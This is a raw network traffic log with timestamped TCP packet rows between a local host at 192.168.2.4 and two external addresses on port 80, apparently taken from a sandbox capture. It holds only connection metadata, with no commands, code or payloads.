Aug 23, 2022 03:42:56.402566910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402609110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402648926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402674913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402693033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402700901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402710915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402717113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402721882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402725935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402730942 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402750969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402769089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402770996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402795076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402821064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402841091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402867079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402893066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402935028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402959108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.402977943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.402982950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403008938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403033972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403099060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403125048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403167009 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403171062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403192043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403207064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403217077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403234005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403244019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403255939 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403270006 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403280020 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403300047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403310061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403383017 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403408051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403428078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403450012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403451920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403491974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.403497934 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403527021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.403532982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403573036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403598070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403624058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.403649092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.403664112 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.403672934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.403698921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404002905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404031038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404074907 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404103994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404130936 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404161930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404194117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404262066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404288054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404314041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404334068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404342890 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404361010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.404381037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404386044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.404408932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.404412985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.404434919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.404447079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.404454947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.404473066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.404489994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.404496908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404562950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.404565096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404589891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404609919 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404659033 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404700994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404741049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404747963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404774904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404798985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404823065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404824018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404838085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404850960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404875994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404882908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404901028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404905081 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404922009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404927015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.404943943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404959917 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.404970884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405010939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405061007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405095100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405134916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405158043 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405174017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405184031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405194998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405225039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405298948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405339956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405419111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405443907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405489922 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405507088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405531883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405575991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405577898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405668020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405694962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405720949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405730009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405757904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405787945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405791998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405814886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405826092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405858994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405909061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405926943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405936956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.405950069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.405998945 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406012058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406052113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406086922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406097889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406132936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406141996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406166077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406208038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406258106 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406282902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406332970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406357050 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406411886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406450987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406488895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406500101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406527996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406538963 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406583071 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406621933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406646013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406686068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406703949 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406761885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406802893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406817913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406841040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406891108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.406939030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406960964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.406985998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407007933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407008886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407021999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407052040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407084942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407136917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407161951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407176018 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407208920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407219887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407247066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407284975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407289028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407332897 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407388926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407391071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407417059 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407442093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407458067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407485962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407499075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407512903 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407538891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407562971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407566071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407610893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407636881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407660007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407685995 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407686949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.407730103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.407778025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408077955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408103943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408132076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408159971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408173084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408180952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408200979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408225060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408250093 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408288956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408324957 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408341885 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408370972 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408416986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408442974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408466101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408468962 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408490896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408504009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408516884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408528090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408554077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408556938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408615112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408641100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408643961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408667088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408677101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408694029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408716917 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408720970 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408746004 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408750057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.408776999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408792973 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.408812046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.408854008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.408878088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.408907890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.408911943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.408926010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.408962011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.408967018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409004927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409039974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409096956 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409123898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409151077 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409173965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409210920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409255028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409293890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409317970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409333944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409343958 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409373045 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409511089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409535885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409560919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409595013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409626007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409626961 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409652948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409679890 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409707069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409730911 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409756899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409782887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409804106 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409812927 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409840107 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409862041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.409888983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409930944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409972906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.409986019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410016060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410049915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.410099983 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410269976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.410295963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.410315037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410336971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410376072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.410406113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410430908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.410506964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.410911083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411036015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.411233902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.411278963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411343098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.411550999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411611080 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411668062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.411700964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411732912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411808968 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.411819935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411844015 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.411890984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412026882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412097931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412156105 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412223101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412300110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412307024 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412347078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412683010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412741899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412745953 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412769079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412795067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412802935 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412817955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412858963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412861109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.412883997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.412939072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.413011074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.413986921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414057970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414272070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414299965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414328098 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414361000 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414367914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414436102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414486885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414493084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414513111 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414522886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414558887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.414589882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414632082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.414643049 CEST	49792	80	192.168.2.4	135.181.104.248
